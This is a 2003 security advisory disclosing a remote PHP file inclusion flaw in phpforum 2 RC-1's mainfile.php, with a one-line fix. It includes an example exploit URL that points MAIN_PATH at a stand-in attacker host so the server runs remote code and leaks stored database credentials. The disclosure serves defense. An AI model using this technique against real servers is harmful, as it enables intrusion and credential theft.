================================================
<------------------------------------------------>
<------------#www.bright-shadows.net#------------>
<------------------------------------------------>
<--------------#theblacksheep&erik#-------------->
<------------------------------------------------>
 ================================================

Advisory Information
--------------------
Advisory Name      : PHP-Include-Hack-Possibility in phpforum 2 RC-1
Author             : Marc Bromm <theblacksheep@fastmail.fm> Germany
Discover by        : Marc Bromm <theblacksheep@fastmail.fm> Germany
Release Date       : 10. Juli 2003
Application        : phpforum 2 RC-1
Vendor Homepage    : http://www.phpmyforum.de/
Vendor Status      : notified
Vulnerable Versions: phpforum 2 RC-1 (maybe older)
Platforms          : OS Independent, PHP
Severity           : High

######Overview:

The phpforum is a mySQL based forum with a lot of functions.

######Exploit:

1. Exploitable file

The exploitable file is the "mainfile.php". The first 2 lines are:

----------------------------------------
<?php
include("$MAIN_PATH/config.php");    //Konfiguration
----------------------------------------

So it is possible to set $MAIN_PATH to everything.
For example:

-> www.victim.com/forum/mainfile.php?MAIN_PATH=http://www.attack.com

Then you need only a "config.php" file with the code you like to execute.
So you can get for example the SQL server password and the username which
are stored in the "config.inc.php" file.
But it is necessary that the attacking webserver (evilhost) can't be
running PHP
or the code will be run on the attacking machine rather than the target
machine.

######Solution:

Change
-----------------------------------
include("$MAIN_PATH/config.php");    //Konfiguration
-----------------------------------
to
-----------------------------------
include("config.php");    //Konfiguration
-----------------------------------
cause the config file is in the same folder as the mainfile.

Greetz to:

Erik, (O_o)oOoOoOo.
-- 
  
  theblacksheep@fastmail.fm

-- 
http://www.fastmail.fm - mmm... Fastmail...